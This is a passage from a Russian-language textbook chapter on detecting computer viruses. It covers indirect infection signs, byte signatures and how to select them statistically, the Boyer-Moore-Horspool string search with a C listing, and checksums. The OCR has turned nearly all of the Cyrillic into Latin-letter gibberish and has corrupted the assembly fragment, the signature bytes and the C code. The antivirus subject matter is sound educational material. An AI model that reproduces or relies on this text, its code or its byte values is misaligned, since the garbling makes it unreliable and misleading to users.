O  3BpncTHHecKHe -  nbrraiomHecH BocnpoH3BecTH n p o u ec c  no3Ha- 

h hh , n p u c y m iii i  MejioBeKy. 

i la jie e  oyayT  paccMOTpeHU THnHMHbie komohhsuhh MeToaoB, ncriojib- 

3yeM bix Ha pa3Hbix aranax n p o u ea y p b i aeTeKTHpoBaHHH KOMnbroTepHbix 

B iipycoB .

7 .4 .1 .  AHailM3 KOCEteHHblX npH3HaK0B
H a n 6 ojiee npHMHTHBHbie m ctohw  o6 napy>KenH>i BHpycoB 0 CH0BaHbi Ha 

H3yHeHHH KocBeHHbix npii3HaK0B (« c ; ia 6 bix c itrH aTyp»), xapaKTepii3yio- 

iu hx  sapaaceiiHocTb. KaK npaBHJio, npoBepKa HajiHHiiH h jih  o tc ^ tc tb h h  

3THX npH3HaK0B B03M03KHa JIh6o «H a rjia30K», JIHOO C npHMeHemieM  

UITaTHblX yTHJIHT OnepanHOHHOH CHCTeMbI.

IlpiIM epaM H noaOOHbIX npiI3HaKOB HBJI51IOTCH OTJlHHIiTCJlbHbie MeT- 

Kii, iipocTaBJineMbie BuyTpii sapaacennbix nporpaMM ca.viHMii B iipyca-
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mh: CTpoHKa « M s D o s »  b icomje (p a t in a  ( BHpycbi ceMenciBa Jerusalem ); 
3Ha'ieHHe « 6 2  ceKyH£bi» b aTpH6yTe BpeMeHH nocJieflHero Aocryrra k

aftjiy (BHpycu ceMeftcTBa V ienna ); 6aHT co 3HaneHHeM 55h nepea PE- 
3ar0.!i0BK0M (BHpyc W in 9 X .C IH ) w npoHHe. /IpyrnMH kocbchhhmh npn- 
3HaKaMH Moryx cjiyacHTb HeTpaflHUHOHHatf cTpyicrypa nporpaMMbi (Ha
npHMep, HaJIHHHe HecKOJibKHX KOflOBbIX CerMeHTOB B PE-MOflyjie), 6h t  
pa3peuieHHH 3ariHCH b ko^obwh cerMeHT, «CBe»caH» aaTa co3#aHHH y  3a- 
BeaoMO «HecBe»cero»- (JiaHJia h t. n.

KpoM e T o r o ,  6 ojibiiioe k o j i h h c c t b o  K O C B eH H W x  n p ii3 H a K O B  m o j k h o  06- 

HapyacHTb, cKaraipytf k o r  nporpaMMH Ha x a p a K r e p H b i e  (J jp a rM C H T H . H a 

npHMep:
O  6 a m  E 9 h  b  H a n a J ie  C O M - c J m h j i o b  c o o T B e T C T B y e T  K O M a a / ie  « J M P »  

h  M o a c e T  C B H fle T e jib C T B O B a T b  o  3apa>K eH H 0C.TH  e e  « c T a H / ia p T H M M  *■ 

m c t o a o m ;

O  u e n o H K a  6a i iT O B  E 8 0 0 0 0 h  h j i h  E 8 0 0 0 0 0 0 h  b  H a q a j i e  n p o r p a M M b i  

M o a c e T  0 3 H a n a T b  n o n b i T K y  B H H H C JiH T b « ,a e J ih T a -C M e m e H H e » -;

O  K O M a H A a  « M O V  A H ,  4 C h »  (K O H C T a H T a  4 C B 4 h )  n o M o r a e T  Bupycy  
H C K a T b  (J)aH Jibi b KaTajiore, a « C M P  A X ,  ' M Z ' c  (qenoMKa 6aH T O B  

3 D h  4 D 4  5 A h )  -  pa3 jiHHan> C O M -  h EXE-nporpaM M bi;
O  K O H C T a H T a  0 E D B 8 8 3 2 0 h  M a c r o  H C T 0J ib3y e T C f l  n p H  p a c n e T e  

C R C - 3 2 ,  a  K O H C T a H T H  r a n a  5 5 3 B 5 C 7 8 h  h j i h  0 A E 1 7 E B E F h  

B C T p e n a i o T C f l  b  B H p y c a x ,  i i m y m u x  b  T a 6j w u a x  a K c n o p r a  a a p e c a  

4 > v h k i i h h  C r e a t e F i l e A  h  F i n d F i r s t F i l e A  n o  K O H T p o jib H H M  c y M -  

M a M  h x  H M e H ;

O  HT.n.

Pa3VMeeTCH, 0flH03HaHHHM npH3HaK0M 3apa>KeHHocTH « c j i a 6b ie  c n r -  

H aT yp b i» c jiyacH Tb h h k oh m  06pa30M  He M oryT  h  He a o ji jk h h . B  KayecTBe 

npHMepa, n oziTB ep>K aaiom ero 3 t o t  Te3HC, m ojkho BcnoMHHTb HCTopHio, 

n p o H 3 o i u e f l i u y i o  b K O H iie  1 9 8 0 - x  ro floB . O /ihh h3 n o n y j w p H h i x  «H M n opT- 

h h x »  aHTHBHpy co b  -  n p o r p a M M a  T N T V I R U S  -  «BaKUHHiipoBa.n» b cc  

n porp aM M H  Ha an cK e , 3ariHCbiBaH b k oh c ti c tp om k v  «M sD o s » , h to 6 h  

B H p y c  Jerusalem  cm rra ji h x  yace 3apaaceHHHMH h  H e  T pora ji. / I p y r o i i  ace 
O H T H B H p y o ,  O T e H e c T B e H H H H  A N T I K O T ,  « j i e y i i j i »  ( f t a iM H , p a c n o 3H a B a n  

Ha.THHHe b h h x  BHpyca HCK.'iiOHHTe.fibHO n o  CTpoHKe «M sD o s » . HeTpy/luo 

aoraaaTbCH , k  Me m y n pH B oan jio  M accoB oe «J ieH eH H e» paHee BaKm iH H po- 

BaHHbix n porpaM M .

Tcm He MeHee KOHTpojib «c.ia6 bix cHraaTyp*- ao chx nop ocTaeTca Ha 
BOopyaceHiiii B iipycoJioroB -  KaK oahh  H3 .viejo/ioB 3BpncTHMecKoro aHa- 
jiH3a. Bojiee noapofiHO s t o t  Bonpoc 6 yaeT paccMOTpen aajibiue.
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7.4.2. (IpocTbie curHaTypw
Hanoojiee n on y jiap H H M  mbto/iom fleTeKXHpoBaHHa Bpe/ioHocHMX n p o 

rpaM M  siB.meTC  a  npoBepKa cn raaT yp . I l o f l  cu m a m y p o u  n om iM aeTca : <J)par- 

MeHT (h j ih  H a6op cjjparM eirroB ), KOTopbm Bceraa BCTpeHaerca b  KOHicpeT- 

hom  BH pyce h  HHKoraa -  b h h h x  nporpaMMax (b  to m  n n c jie  h  b z ip y ra x  

B H p ycax ). C H ra a T y p u  H cno jib3y ioTca  p ,m  aeTCKTHpoBaHHa BpeaoHOCHbix 

nporpaMM, coxpaH H rom ux cboh  k o a  iio c to h h h h m  o t  k o iih h  k  KonHH. Kpo
Me T oro , CMmaTJ'pHblH nOHCK MOJKHO npHMeHHTb H ZlJIfl n oncK a HeKOTOphlX 

pa3H0BIIAH0CTeH nOJIHMOp(J)HbIX BflpycOB. EflHHCTBeHHaSI pa3HOBHflHOCTb 

B iipycoB , k  k o to p o h  coBceM  He npiiMeHH.wo cu n iaT yp H oe  AeTeKTiipoBa- 

HHe, -  s t o  «M eTaM op (J )U », t o  ecTb BHpycbi, Hcno/ib3yK>miie n a e n  3aMeHbi h  

nepM yTaiiH H  (n epeM ew H B aH H a) KOMana Bcero CBoero Te.ia.

B HfleaJie c u ra a T yp a  zioj/aaia BKJiioqaTb b c e o a  b c io  n o cT o a iiH y ro  qacTb 

BH pyca, h o  Ha npaKTHKe -  iu ix  M H H H M im uH H  T pe6yeM o ft t o m a th  h  ycK o - 

peHHH n on cK a  b 4>aiiJie -  Hcnojib3yioTCH cpaBHHTejibHo K opoTK H e uenoH - 

KH OailTOB, COCTOHUIHe H3 HecKOJibKHX 0Tpe3K0B.

B o6meM c jiyn a e  c n n ia T y p a  5  m ojkct 6bixb npe/it'TaBJiena b BH/ie mho- 
acecTBa TpoeK:

rjie  i  -  HOMep OTpe3Ka CHriiaTypbi (c c jih  oHa c o c to h t  H3 HecKOJibKHX 4a- 

c tc h );  C, -  3HaqeHHe 0Tpe3Ka; P i -  no3HHHa OTpe3Ka; Tt -  mar TpaccwpoB- 

KH, Ha KOTOPOM HeODXO/XHMO KOHTpOJIHpOBaTb 0Tpe30K. To CCTb Tpil pa3- 
jihhhhx KOMnoHeHTa cuniaTypbi OTBenaiOT Ha Bonpocbi «h t o » ,  « r a e »  h 

«K o ra a ». Pa3VMeeTCfl, b cocxaBe cH raarypb i M oryr BCTpenaTbca i i  apynie 
KOMnoHeHTU BcnoMoraxeJibHoro Ha3HaqeHH». B qacTHOcxn, s t o  Moacex 

6brn> npii3HaK: oxKyaa OTCMHTMBan> CMemeHHe (JjparaeHTa -  o t  HanaJia 

(Jtaiijia, k oh iw  4>aiiJia hjih toh kh  Bxoaa b nporpaMMy. BnpoHeM, s t o t  npn- 
3HaK Toace OTBeHaeT Ha Bonpoc -«rae».

fla6bi npoHJiJiiocTpHpoBaTb cKa3aHHoe, coct3bhm  curaaTypy jum  

BHpyca Seat.2389, ynoMHHVToro panee b pa3flejie npo nojiHMopcjjHbie 
M S-DOS-BH pycbi. (TaM ace MoacHo naHTii h jw craH ru  aByx «MyTauHH»). 
HanOMHHM, 3TO 6bIJI «0JIHr0M0p4>HbIH »  BHpyc, UIHC^pOBaBlIlHH TeJIO c ne- 
peMeHHblM KJIIOHOM H BHflOH3MeHHBlUHH <J>parMeHT paClUHC^pOBKH OT KO- 

nHH k Konim . Bo 4>pan\ieirre pacuiHcJjpoBKH nepeMeHHWMH 6 m jih  to jibko  

HMeHa perncTpoB n KJHoq WHcjjpoBaHHH-paciiiHcjjpoBMBaHHa, o6uiaH ace 
c rp yK iyp a  m iK Jia  ocTaBajiacb iioc tohh hoh .

?? 73 00 Mov peracTp l, 73h
?■' 4 ‘ 09 nov per»iCTp2, 941 n
8B '>'> 0ov cx, per no Tp 2
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onepaiiMf) c s :[p e rn cT p l+ 9 E h ], whom 
inc perncTpl 
lo o p  $-0Ah

; 9t3 yaoTb noHBJiseTCH TO/ibKO noô e pacmmjipoBKH
IE
0E
F8 o le

mov
int

push os 
push cs

B8 FB OF ax, DFFBh 
21hCO 21

3 to o6cTOflTejibCTBo aaeT B03M0aKH0CTb cocTaBHTb cHraarypy, coctoh- 
myio H3 flByx 0Tpe3K0B aJiHHoii, HanpHMep, no 6 6aHTOB KajfcabiH.

S(SEAT.2389) = < ?? 73h 00 ?? 41h 09h, 0, 0 > , < 1EI) OEh F8D B8h FBh OFh, H h . 15 >

Ilep B b iH  0xpe30K  B ceraa  n p H cy rcT B yeT  b (J)aHJie h  uaM sm i n o  Hy.neBO- 
My CM em eHHio o t  H anajia  B n p yca  -  t o  ecTb  o t  t o h  tom kh , K yaa  BHpyc n e- 

peaaer yn p aB J iem ie  K0M ana0H  «JMP». B s to m  4>pam eH Te BcxpenaioTCH 
KaK nepeM eH H bie, TaK h  nocTO H H iib ie  ynacTKH , noaTO M y j i j ix  onucaH H a n o - 

c  j i  eaoB  aT e ji bH o  e r a  6aHTOB Hcno.>ib3yioTcfl ciiM BOJibi-jpKOKepH« ? » .  TaKHe 

«n p e p b iB iic T b ie »  c H ra a T y p u  H H oraa  H a3H BaioT mockomu.
BtOPOH 0Tpe30K H3H3H3JIbH0 3aiHH(f>pOBaH C IlepeMeHHbl.M KJIIO'iOM. 

Ho nocKOJibKy HHHHHaJiH33HHH UHKJia BbinojinaercH Tpe\iH KOManaa- 
MH H caM UHKJI TOJKe COCTOHT H3 TpeX KOMaHfl, nOBTOpSUOIKHXCfl 9 4 1 h  =  
=  2 3 6 9  pa3, t o  n ocjie  BbmojiHeHHH 3  +  3  * 2 3 6 9  =  7 1 1 0  BHpycHbix KOM3Ha
B n3MHTH OKaJKeTCfl nOJIHOCTblO paCIUH(})pOBaHHblH o6p33 Blipycs, B KO- 
TopoM (Ha^HHaa c o  cMemeHiia 1 l h )  mojkho o&Hapy*HTb b top oh  0Tpe30K  
cHrHaTypw. BnponeM, ^ Jia  pacuiHc^poBKH nepBbix 6  6 3 h to b  ocHOBHoro 
Tejis a0CTaT04H0 BbinojiHHTb He 7 1 1 0 ,  a B cero  jiHiiib3 +  3  * 4 = 1 5  kom 3ha 
0 6 m h h o  3 to  aejiaeT ca nyreM  M oaejmpoBaHiin paooTW nporpaMMbi b ;-my- 
JIHTOpe, HBJMIOIIIeMCH HaCTbfO aHTHBHpyca.

B pea.fibHbix aHTHBHpycHbix nporpaMMax oohmho iicnojibayioTcsi 60- 
Jiee npocTMe BapHaiiTbi cnrHaTyp, HBJiaiouiHecfl nacTHbiMH cJiynaHMH b h - 
iueoifflcaHHOH cxpyKTypbi.

HanpHMep, nacTo npiiHHMaeMoe npeanojioaceHiie, hto Bee cHraaTypw 
COCTOHT TOJIbKO H3 OflHOrO OTpe3Ka, HaHHtiafOTCH no OflHOMy H TOMy ace 
CMemeHHio (HanpHMep, nyjicBOMy) h HMeioT o/my h Ty ace zyiHHy (HanpH
Mep, 6 4  6airra), nosBo.raeT cHJibiio ynpocTHTb Bbi6opKy CHraaTyp H3 oa3bi 
aaHHbix h cymecTBeHHO ycKopHTb nponeaypy cKaHMpoBaniiH (Johjiob. 
IIpaBfla, tskoh noaxoa He n03B0JiHT pa3.niiHaTb Bupycbi, coaepacsmne b 
oan o M  h tom x e  MecTe oannaKOBbie c^pameHTbi (<rro He peaKOCTb).

Ec.au aeTeKTiipyiOTCH tojilko HenojiHMopcJ)Hbie Biipyc bi, to b ciirna- 
T>’py MOJKHO He BKJHOliaTb KOMnOHeHT «KOr/ia» H 3H3Jill311 poB3Tb TOJIbKO 
cTaTii'iHbiu oopaa nporpaMMbi.



OSHapyxeHMe BHpycoB ❖ 537

M ojkho o 6ofiTHCb h 6e3 K0M n0HeHTa CaMhie parnnie o 6pa3Ubi

aHTHBHpycoB, /laTHpoBaHHMe BTopoM nojiOBHHOH 1980-x, noanac 3aHHMa- 
jiHCb r j io 6 ajibHWM iio h c k o m  o6pa3qoB BH pycH oro KOfla b n o s o 3pH Tejib i!b ix  

4>aHJiax -  6e 3 yneTa h x  BHyTpeHHeii CTpyKTypbi. IIpHMepHo TaK ace npn - 
xo flH T ca  n ocT yn aT b  h coBpeMeHHbiM aHTHBHpycaM npH aeTeKTHpoBanHH 

« 3apa3b i»,  HcnoJib3y iom eH  TexHOJiornio EPO  (E n try  Point O bscu red ).
H TaK , o 6H3aTeJibHbiM a a a  c u rH a iy p b i HBJineTCH T oaw co  KOMnoHeHT 

« h t o » .  H o KaKHM o h  aoaaceH 6biTb? KaK Bbi6paTb «n p a B H ab H yra » CHI'Ha- 
T y p y ,  KO Topaa 0aH 03HaHH0 xap aK Tep ii30Ba.ria 6bi Biipyc h  He BCTpenajiacb 

oojiee HHr/ie?
JieT 1 5 -2 0  Ha3aa, Koraa BHpycoB 6buio Majio, BHpycojior mot no3Bo- 

jiHTb ceoe TUiaTe.nbHO royMHTb Koa OMepeflHoro n peac ra B H T e jw  «3JieKT- 
poHHDH (|>ayHbi!> ii Bbi6paTb onniMajibHbiH BapnaHT ciimaTypbi. IIpiiMep 
rio;io6Horo noaxoaa mojkho Haft™ b rjiaBe, nocBHmennoH 3arpy30HHbiM 
BHpycaw: Mbi Hcn0Jib30Ba.m b KanecTBe C H raaTypw  BHpyca Stoned. 
AntiEXE «y 3 J io B o ii»  4>parMenT Koaa, hto no3Bo;m,TO aHTHBHpycy pa3- 
JIHHaTb «3flOpOBbie», « 6o/IbHble» H -SBHiie'ieHHbie* ceKTopbi H VMaCTKH 
naMHTH. B COBpeMeHHbIX yCJIOBHHX TaKOH n o a x o a  TpyaHOnpHMCHHM, TaK 
KaK, HanpHMep, aeacyp H o ii CMeHe «a h tjiob » (KaK b JIa6opaTopHH Kacnep- 
cKoro BeJiHHaioT BnpycHbix aHajittTHKOB) npnxoaHTCH eaceflHeBHo HMeTb 
ae.TO C COTHH MH H TbICHHaMH HOBbIX BHpycOB H TpOHHCKHX npOI'paMM! Cy- 
mecTByeT noTpe6Hocrb b ajiropMTMax, n03B0JiHi0iHHX aBT0MaTH3iip0BaTb 
nponecc Bbi6opa «xopoiirax» cnraaTyp.

H  T a K H e  a J ir o p H T M b i e c T b .  H a n p H M e p ,  m o j k h o  b c c t h  6 o j i b i u y i o  6 a 3 y  

/ia H H H X  CO B C eB 0 3M 0 aC H bIM H  C I ir H a T V p a M H  B C eB 0 3 M 0 aC H b IX  B H p y c o B ,  a  

T a ic a c e  H a n 6 o / i e e  t h i i h h u m x  n p H K J ia a H b ix  h  c u c T e M H u x  n p o r p a M M . T o r / t a  

b  K a M e c T B e  « x o p o m e H »  c n r H a T y p b i  B H p y c a  m o j k h o  B b i6 n p a T b  ; n o 6 y i o  u e -  

n o H K y  e r o  6 a i iT 0 B , H e  B C T p e T H B iu y io c H  b  3 T o h  6 a 3 e .  H o ,  c  o a h o h  c T o p o n t i ,  

T a K a n  6 a 3 a  6 y a e T  o n e H b  B e .’iH K a . C a p y r o f t  -  H e T  H H K a K o ii r a p a H n n i ,  h t o  

3T a  C H r H a T y p a  H e  B C T p e n iT C H  b  K a K o i i - H n 6 y A b  n p i i K J i a a H o i i  n p o r p a M M e , 

o T c y T C T B y io m e H  b  6 a 3 e .  K a n ,  H a n p i i M e p ,  n p o H 3o i u a o  b  2 0 1 1  r .  c  aH T H B H - 

p y c o M  A v i r a ,  K O T o p b ii i  c a y n a i i H o  B H e c  b  c b o h  a H T H B iip y c H w e  6 a 3 b i  C H r a a -  

T y p y ,  x a p a i c r e p H y i o  a n s i  n p o r p a M M H o r o  K o r / ja .. .  a H T H B H p y c a  A v i r a .

B o j i e e  K o p p e K T H b iH  a / ir o p n T M  B b i 6 o p a  « x o p o m i i x »  c i i r n a T y p  b  1994 r o 

s y  o o n a p o / i o B a j i H  c o T p y flH H K H  IB M  Jim. K e n x a p T  h  B. A p H O J ib / j [43]. 
I I p e a n o j i o a c H M , MTO CTO H T 3 a a a n a  B b i 6 o p a  c n r H a T y p b i  B  =  B lB 2...B s n.sm - 

h o h  S  6a i iT O B  s j i h  B p e s o H o c H o i i  n p o r p a M M b i  c  n o cT O H H H H M  (|)p a rM e iiT O M  

/ u n i f i o i i  Q. I l e T p v / u i o  c o o 6 p a 3 H T b ,  h t o  B c e r o  B 0 3 M 0 a cH 0  =  Q -  S  +  1 

p a 3 J iH H H b ix  B a p H a H T O B  c n r H a T y p b i .  K a K o i i  H 3 h h x  -  ./ iy H iiiH ii?  O h c b h s h o ,  

TOT, K O T O p b lH  H e B C T peM aeT C 'H  HH B S P y r i l X  B l ip V C a X , HH B  4H 0pM aJIbH H X>>
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nporpaMMax, h  B epoaraocTb  noxBJiemisi ero b nona eme He Hanncam iMx 
npoipaM M ax Toace neBejiiiKa.

Jlna  Toro h to6h  oneHHTb s t v  BepoaTHocTb, cm-HaTypy paccMarpHBaioT 
KaK COBOKyTIHOCTb H3 S — n +  1 BCeB03M0>KHhIX HenpepMBHbIX IienOHCK 

.zpihhoh no n 6aHTOB -  xaK Ha3biBaeMbix n-zpaMM. H anpHM ep, b  c u ra a -  

Type B =  B1B2B3B<Bs m oxho  Bbm ejniTb Tpii 3 -rpaM M u: S,Z?25 3, B fi3Bi h  

B3BiB5. OneBH/iHo, mto cn rH arypa , cocToam aa 113 «TnnHHHbix» M-rpaMM, 
xyace CHraaTypbi, cocToam eii H3 «pe/ucHX» n-rpaMM. Ee HcnojibaoBa- 
h h c b  aHTHBiipyce MoaceT npHBOflHTb k  jiohchwm cpa6aTUBaHH»M  (false 
positives ). H anpH M ep, 2 -rpaM M a « M Z »  xapaKTepHa He TOJibKo jinn ce re - 

bmx yepBeft, ho  h  ajih  jik>6ux EXE-nporpaMM, h  noaTOMy Hcnoab30Ban> 

ee b  cocraBe curHaTyp bi HeacejiaTeflbHo.

*lTo6bI OUeHHTb «THIIHHH0CTb» W-TpaMM CHraaTypbi, C03AaKDX «TeCTO- 

BblH K opn yc* -  OrpOMHblH 4>aHJI flJIHHOH T  6aHT0B, COCTaB.XeHHblil H30 

Bcex H3BeCTHbIX BHpyCOB H 6ojIblUOrO HHCJia THIIHHHblX «HOpMaJIBHbIX» 

nporpaMM: K0Mn0HeHT0B onepanHOHHbix chctcm, cHCTeMHbix 6h6jiho- 

TeK, j t h j ih t ,  npH jioacem ifi h  x. n. MeTO^HKa npeaycwaxpHBaex noncK 

Kaacfloil H3 w-rpaMM CHraaTypbi b «xecx0B0M  K opriyce» h noflcyeT ko/ih- 

MecTBa f (B 1B2...Bn) HaxoaoK. IlpH6jiH3HTejXbHO onennxb BepcHTHOcxb no- 

HBJieHHa curnaxypbi B b 4>aHJie, He BXoztameM b cocxaB <Kopnyca», Moac- 

ho  n o  (f)opMy,ie:

n ( B B  £  \ )
^  ' 2~ ' f(B, B, . . . Bn) f ( B>B,. . .Br̂ ) ( S - «  + 1)’

B KanecTBe «xop ou iH X » oT6HpaioTca curaaTypbi, y  KOTopbix 3Ta Bepo- 

HTHOCTb MHHHMaJIbHa.

BMecTe c poctom  n He xojibKo cTaHOBiixca 6o jiee  toh h oh  oqemca Be- 

POHTHOCTH p(BjB2...Bs), ho H B03paCXai0X 3aTpaTbI BblHHC.XHTejIbHbIX 

pecypcoB. B  cepeaHHe 1990 -x  to a o b  cnem ia,m cTM  H3 IB M  SKcnepHMeH- 

THpoBa/iH c 3-rpaMMaMH h  cwrHaxypaMH a ah h o ii o t  12 ao  24 osh tob . 

B  M aTepnajiax (J)HpMbi Sym antec, AarapoBaHHbix 2009 r., cooom aexca 

o 5-rpaMMax, 48-6aHT0BWX cnraaTypax h ynpom em ib ix  BapnaHxax cfiop- 

My.xw pacneTa BepoaxnocTH [ 40 ],

E m e OAHa npo6jteMa cBH3ana c itohckom b (jjaane CHraaTypbi jinn BH
pycoB, He HMeiomnx nocxoaHHOH tohkh bxoah. Cym ecTByiox a/iropnTMbi, 

n03B0/iaromHe HecKOJibKO ycKopHTb npoue/iypy r a o 6ajibHoro noncKa [21 ].

II pOH7urrocxpnpvem HAero o a h o i 'o  H3 x3kh x a/iropuxMoB -  Boftepa- 

M yp a -X o p cn y jia  -  Ha npHMepe noncKa oopaaqa « J IO M »  b CTpoKe « r O -  

J IO B O J IO M K A » .  OHa (h a c k )  aaKJno'faeTCH b xom, m tooh  BbinoAHaxb 

cpaB H em ie  /{annbix c oopaauo.M, na^Hfiax c ero  (o o p a 3u a ) nocAeAneii oyK-
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Bbi -  cnpaBa HaneBO. Ec.ni pacxoacaeHHH He oSnapyjKeno,3HaMHT, o6pa- 

aeu  b H a6ope HaftfleH. B np0THBH0M c jiyn a e  ( t o  ecTb ec:iH  b  KaKoii-HH6yab 
6yKBe pacxojKAeH H e Bce-TaKH b o 3 h h k jio ) B03M0»cHbi /iBe npHHUnnHajib- 

HO pa3JIHHHbie CHTyailHH.

IlepBaH CHTyailHH B03HHKaeT, Koraa b o6pa3ue yace HMeioTca 6yKBbi, 
paBHbie to h , KQTopaa b s t o t  momcht HaxoflHTca HanpoTHB «XB0CTa» 06- 

pa3ua (HanpHMep, HecKOJibKO 6 vk b  «JI» , KaK Ha nepBOM m are noncKa, 

h jih  HecKOJibKO « 0 » ,  KaK Ha TpeTbeM m are ). B 3T0M cjiynae Heo6xoflHMo 

CflBHraTb o6pa3e.II TaKHM 06pa30M, HTo6bI HanpOTHB STOH OyKBbl CTpOKH 
0Ka3ajiacb «npeflnocJie/iH «H» b o6pa3ue TaKaa ace 6yKBa ( t o  ecTb Hanpo
THB 3-h 6vkbm  c tpokh  -  nepBaa 6yKBa o6pa3ua).

BTopaa CHTyauHH CooTBeTCTByeT cJiyMaro, K oraa  TaKaa 6yKBa He BCTpe- 

HaeTca b o6pa3ne. C jieaoBaTejibH O , m o jkho cm cjio  cflBHran> o o p a sen  Ha 

nojiHvro e ro  f l j im iy  -  Ha 3 s jieM eirra  (cm . CH Tyam no Ha BTopoM  m a re  cpaB- 

HeHHH).

/I. JIM nOBbimeHHH 3(j)(J)eKTHBH0CTH peaJIH3aiIHH 3T0T0 a.7irOpHTMa 
nepeji HaHajio.M noncKa 4JIH Kaacfloro Bii/ja ajieMeHTOB, KOTOpbie MoryT 
BeTpeTHTbea b Ha6ope aaHHbix, co3jtaeTca HH^eKc -  hhcjio no3HiiHH. Ha 
KOTopoe HyacHO c/(BHraTb o6pa3eii. Bee HHneKCbi noMemaioTCH b o6m_yio 
xaojiHiiy h iicnojib3yioTCH b npouecce noHCKa. J im  paccMaTpHBaeMoro 
npHMepa b Ta6jnme zijih 6ojibiuHHCTBa 6vkb aojijkho HaxofliiTbca 3Hane- 
Hiie 3, flJia 6yKBbi « 0 »  1, a a j i h  oyKBH 2.

i n t  smh_search( c'nar *s, in t  n, ch a r *p, in t  m ) { 
in t  t[2 5 6 ] , i .  ] ,  k;
/* noflTOTOBKa TaO/iMUbi •/
f o r  ( i= 0 ; i<256:x++) t[ i]= m ; fo r  ( i= m -2 ; i> = 0 ;i- - )  t [ p [ 1 ]]= m -i-1 ;
/« CoSciBeHHo fios-ick */ 
i=m-1;
w h i l e  (i<n) {

k=a; 1-ITI-1;

w n iie  ( j > =0) {

WoT hi o lB lo in  Io FmI k la

Info?M
~rtTr\TtToTmI

Pmc. 7 .2 8  ❖ PafioTa anropMTMa 
Eotfepa-Mypa-Xopcnyna
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if (s[ij!=p[j]) break; 

i--; j--;
I

if (j<G) return i+l; ,// ilo3nuiifl coBnaseHMR 
i = k + t [ s [K ] ] ;

}
return -1; // H w e r o  h s naiifleHO

f

A.iropnTM Boiiepa-Mypa-Xopcnyjia p a6 oT aeT  TeM 3(J)(fjeKTHBHee, qeM 
6 oJiee flJiHHHbie o6pa3Ubi npezuiaraioTCH  eMy ajw noHcica. AjibTepHaTHBoft 
aTOMy ajiropiiTMy mojkct cjiyacHTb aJiropiiTM KHyTa-MoppHca-npaira. 
Ecjih jkc penb ii/iex o noncKe nejioro ceM eiicTBa nacTHHHO nepeceicaio- 
mHxea curaaTyp, t o  Jiynuie Hcn0jib30Ban> aJiropHTM Axo-KopacHK.

OcHOBHOti HeaocTaTOK cHraaTypHoro aeTeKTHpoBamiH -  Hecnoco6- 
HocTb o6napy>KeHHH «h o b m x », eme He HayneHHbix BHpycoB. KpoMe Toro, 

HenpHHTHOH 0C06eHH0CTbK) CHTHaTypHblX aHTHBHpyCOB HBJiaeTCH 6oJIb- 

u io ii ooijCM cnpaBOHHbix /iaHHbix. Com acHO MaTepiiaJiaM «J Ia6opaTopnii 

KacnepcKoro», K0JiHHecTB0 3anHceft b aHTHBHpycHbix 6a3ax pacTer no 
3KcnoHeHTe.

toa

Pmc. 7.29 ❖  Poct oSteMOB BnpycHbix6a3 
b AHinBnpyce KacnepcKoro

B npeanojioMceHHH, hto  aHTHBiipyc /ioji>KeH pacno3HaB3Tb 10 mjih Bpe- 

SOHocHbix nporpaM M  n ncnojib3yeT cH m aiy p b i sjh ih o h  10 6aHT0B, eMy 

noTpeoyeTca ne MeHee 100 IV16 s h c k o b o h  naMHTii.
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7.4.3. KoHTpoiibHue cyMMbi
Cym ecTBeH H O  yM eHbiiiHTb o6i>eMbi Tpe6yeM 0H  naMHTH n03B0JiHeT o t - 

Ka3 o t  cnraaTyp b nojib3y KOHTpojibnux cyMM. K o H m p o J iw a a  c y M M a  -  
pe3yjibTaT  npHM eHeHHfl k np0H3B0JibH0My Ha6opy aaHHbix HeKofi xeiu- 
(pyHKl^UU, paCCHHTblBaromeii KOpOTKHH 4 fla H a *e C T » nOCTOHHHOH flJIHHbl 
(HanpHMep, Bcero 4 6 a iiT a ).

B 6a3e aaHHbix aHTHBHpyca mojkho xpaHHTb He caMH CHraaTypbi, a hx 
KOpOTKHe KOHTpOJIbHbie CVMMbl. TaiCHe >Ke CyMMU paCCHHTblBaiOTCH «Ha 
jieTy» no c0Aep>KHM0My TecTHpyeMux cfavuioB. HecoBnaaeHHe xpamiMO- 
ro o6pa3iia c pe3yjibTaT0M pacneTa oananaeT oTcyrcTBHe cooTBeTCTByio- 
mero BHpyca. A coBnaseuHe -  JiHiiib oneHb bhcokvio (h o  He eaHHiin- 
Hyro!) BepoflraocTb 3apaaceHHH. IIpifHiiHa KpoeTCH b cyra  KompojibHbix 
cyMM: ohh, KaK h jnoobie apyrae xem-(J)yHKUHH, npe/iCTaBHHioT co6oh 
0T06pa>KeHHe oojibmoro MHoacecTBa «06teKT0B>>-np006pa30B Ha MaJioe 
MH0»cecTB0 «flaiifl»cecT0B»-06pa30B. CooTBeTCTBeHHo, Bcer/ta B03M0*:Ha 
K0JUIU3UH'. HeCKOJIbKO pa3JIHHHbIX «o 6beKTOB» MOiyT HMeTb OflHHaKOBbie 
«saitzi»cecTH», b nacTHOCTH «ru ioxne» KoHTpoiibHue cyMMH Mor\T OKa- 
3aTbCH He TOJibKO y 3apa*eHHbix, ho h y  Bno/ine «3flopoBbix» (JiaftiioB.

HeBbicoKaa BeponTHocTb kojijih3hh h TpyflHocTb hx ue.neHanpaB.neH- 
Horo reHepHpoBaHHH -  cyTb KpHTepHH KanecTBa Toro hjih hhoto MeTo^a 
pacneTa KOHTpojibHbix cyMM. C 3Tofi tohkh 3peHHH xopouiH TaK Ha3M- 
BaeMbie «KpjinTorpa(|)H'iecKne» xem-cJjyHKHHn: MD5, SHA-1, RIPEMD, 
TOCT 34.11-94 ii ap.’ K coacajieHHio, s th  ajiropHTMbi sobojibho cjiojkhh 
C BblHHCJIHTeJIbHOH TOHKII 3peHHH H He Cn0C06HbI o6eCneHHTb BHCOKyiO 
CKopocTb pacqeTa KompojibHbix cyMM. II03T0My Ha npaKTHKe b aHTHBH- 
pycax HauuiH npHMeHetine HecKOJibKO MeHee CTOHKHe k kojuih3hhm, 3aTO 
ropa3/jo 6bicTpee BbmicjiHMbie «TexHHHecKne» xeiu-cJjyHKUHH.

nporpaMMbi KoHTponbHbie

KQJ1JTO3H8

Phc. 7.30 ❖ CymHOCTb «kojvim3mm»

1 B H a c T o a m n ii  m o m c h t c y m e c T B y io T  ; io b o ji i> h o  T p y jio e M K n e , h o  B n o .iH e  p e a ;ib -  

Hbie MCTOJlbl HCKVCCTBeHHOrO C03aaHHH KOJMH3HH JIJW MD5.
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Hame Bcero HcriojibsyioTcfl i^uKJimeacue uaStvrnoHHue xodbi (C R C  — 
cyclic redundancy code). MeTOfl ncncuib30BaHHH 0CH0BaH Ha npe/iCTaBJie- 
hhh 6ii0Ka aaHHbix b BHfle HenpepwBHoro nojiHHOMa c 6htobhmh k o 3(J>- 
